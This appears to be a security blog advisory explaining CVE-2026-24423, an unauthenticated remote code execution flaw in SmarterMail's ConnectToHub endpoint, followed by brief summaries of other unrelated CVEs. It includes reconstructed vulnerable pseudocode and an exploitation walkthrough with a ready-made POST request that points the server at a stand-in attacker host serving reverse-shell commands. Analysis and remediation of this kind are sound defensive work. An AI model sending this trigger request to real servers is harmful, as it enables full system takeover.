Jan 28, 2026·5 min read·180 visits
SmarterMail left the 'SystemAdminSettingsController.ConnectToHub' endpoint wide open. An attacker can send a request telling the mail server to connect to a malicious 'Hub' server controlled by the attacker. Upon connection, the malicious server feeds the mail server commands, which are executed with high privileges. It is a text-book unauthenticated RCE rated CVSS 9.3.
A critical authentication bypass in SmarterTools SmarterMail allows unauthenticated attackers to trick the server into executing arbitrary OS commands by abusing the 'ConnectToHub' API.
SmarterMail is the 'Exchange alternative' for people who don't want the headache of managing Microsoft Exchange but still want the headache of managing an enterprise mail server. It's widely used by hosting providers and small-to-medium businesses. Because it handles email, it is effectively the nervous system of an organization, sitting on sensitive data and usually enjoying high privileges on the host OS.
In January 2026, researchers uncovered a flaw that is almost charming in its simplicity. Usually, Remote Code Execution (RCE) requires a complex chain of memory corruption or a Rube Goldberg machine of deserialization gadgets. Not this time.
CVE-2026-24423 is a logic flaw in the High Availability (HA) features of SmarterMail. Specifically, the feature designed to let servers talk to a central management 'Hub' was implemented without checking who was asking to initiate the connection. It's the digital equivalent of a bank vault that opens if you just ask it nicely.
The vulnerability resides in the SystemAdminSettingsController, specifically within a method called ConnectToHub. In a secure application, any controller labeled 'SystemAdmin' should be locked down tighter than a drum, requiring a valid session, an administrative cookie, or an API key.
However, the developers missed the [Authorize] attribute (or its equivalent internal check) on this specific endpoint. This means the API is publicly accessible to anyone who can reach the server's HTTP port.
But the flaw isn't just that the door is unlocked; it's what lies behind the door. The ConnectToHub method takes a URL or IP address as input. Its job is to reach out to that address and establish a management link. The fatal mistake was trusting that the input would point to a legitimate SmarterMail Hub. Instead, it allows an attacker to point the victim server to a malicious rogue server.
While the exact source code is proprietary, we can reconstruct the logic based on the behavior and the patch. The vulnerable controller likely looked something like this pseudocode:
// VULNERABLE CODE PATTERN
public class SystemAdminSettingsController : ApiController
{
// OOPS: Missing [Authorize] or [AdminRequired] attribute here
[HttpPost]
public IActionResult ConnectToHub([FromBody] HubConnectionRequest request)
{
// The server blindly takes the URL from the attacker
var hubUrl = request.HubUrl;
// And initiates a connection to it
var connection = new HubConnection(hubUrl);
connection.Connect(); // Creates the outbound connection
// If the 'Hub' sends back commands during handshake, they get executed
connection.ProcessDirectives();
return Ok();
}
}The fix was brutal and effective: they deleted the code. In Build 9511, the ConnectToHub and ValidateRemoteInstances endpoints were removed or completely refactored to ensure they could not be called without a rigorous authentication context. This is the 'scorched earth' approach to patching, which is often the safest bet.
Exploiting this requires two moving parts: the attacker's client (to send the trigger) and the attacker's server (to emulate a malicious Hub).
Phase 1: The Setup The attacker sets up a simple HTTP server (Python or Go) that mimics the SmarterMail Hub protocol. This doesn't need to be a full implementation; it just needs to respond to the initial handshake with a payload.
Phase 2: The Trigger The attacker sends a POST request to the victim:
POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: mail.victim-corp.com
Content-Type: application/json
{
"url": "http://attacker-ip:1337/evil-hub"
}Phase 3: The Execution
The victim server receives the request and, obeying the logic, initiates an HTTP connection to http://attacker-ip:1337/evil-hub. The attacker's server accepts the connection and responds with a configuration packet containing OS commands (e.g., spawning a reverse shell or adding a user).
Because the SmarterMail service typically runs as SYSTEM on Windows to manage network ports and files, the resulting shell is fully privileged.
This is a CVSS 9.3 for a reason. It is Unauthenticated (anyone on the internet can do it), Low Complexity (the exploit is just a web request), and High Impact (Complete System Compromise).
Once the attacker has RCE, the game is over. They can:
Since mail servers are often trusted by other internal systems (allow-listed in firewalls), they make excellent jump boxes.
SmarterTools addressed this in Build 9511 (released Jan 15, 2026). If you are running an older version, you are vulnerable.
Remediation Steps:
ConnectToHub originating from unknown IPs prior to patching. This indicates you may have already been compromised.Strategic Mitigation:
Even after patching, ask yourself: Why is my administrative interface exposed to the entire internet? Use firewall rules or IIS restrictions to limit access to /api/v1/settings/sysadmin endpoints to known internal management IPs/VPNs only.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
SmarterMail SmarterTools | < 100.0.9511 | Build 9511 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-306 (Missing Authentication for Critical Function) |
| Attack Vector | Network (AV:N) |
| CVSS v4.0 | 9.3 (Critical) |
| Privileges Required | None (PR:N) |
| Impact | Remote Code Execution (System) |
| Exploit Status | Active Research / High Risk |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
A high-severity memory corruption vulnerability exists in the V8 JavaScript engine of Google Chrome before versions 149.0.7827.102/103. The flaw arises from an incorrect bounds-check elimination during JIT compilation by the TurboFan optimizer, allowing remote attackers to achieve out-of-bounds read and write access inside the sandboxed renderer process.
An improper authentication vulnerability (CWE-287) exists in the legacy, deprecated Internet Key Exchange version 1 (IKEv1) key exchange protocol implementation in Check Point Security Gateways. The vulnerability is caused by a logic flow weakness during the certificate validation process for Remote Access VPN and Mobile Access (SSL VPN) connections. An unauthenticated remote attacker can exploit this weakness to bypass user authentication entirely, establishing a fully functional Remote Access VPN connection without a valid password.
GeoNode versions prior to 4.4.5 and 5.0.2 are vulnerable to Server-Side Request Forgery (SSRF) in the service registration endpoint. Authenticated attackers with low privileges can exploit insufficient input validation in the Web Map Service (WMS) registration module to force the application server to make outbound network queries to loopback addresses, private RFC1918 subnets, link-local scopes, and cloud metadata endpoints. This technical report details the mechanics of the vulnerability, the underlying architectural flaw, and how to effectively remediate and mitigate the associated security risks.
CVE-2022-0492 is a high-severity missing authorization vulnerability in the Linux kernel's Control Groups (cgroups) v1 implementation. The flaw resides within the cgroup_release_agent_write function in kernel/cgroup/cgroup-v1.c, where the kernel fails to validate if the process writing to the release_agent file possesses administrative capabilities in the initial user namespace. This allows a local attacker inside a container with root privileges (UID 0) to abuse user namespaces, mount a cgroups v1 directory, modify the release_agent parameter, and execute arbitrary commands on the host system as host root, effectively achieving a complete container escape.
NocoDB is subject to an insufficient session expiration vulnerability where OAuth access and refresh tokens are not invalidated or revoked during security-sensitive actions such as password changes, forgot-password requests, or password resets. This allows an attacker possessing an active OAuth token to maintain unauthorized persistence.
A vulnerability in the vantage6 federated learning framework allows unauthenticated remote attackers to gain administrative control of the server via hardcoded default credentials (root/root) when deployed under default configurations in versions 4.2.3 and below.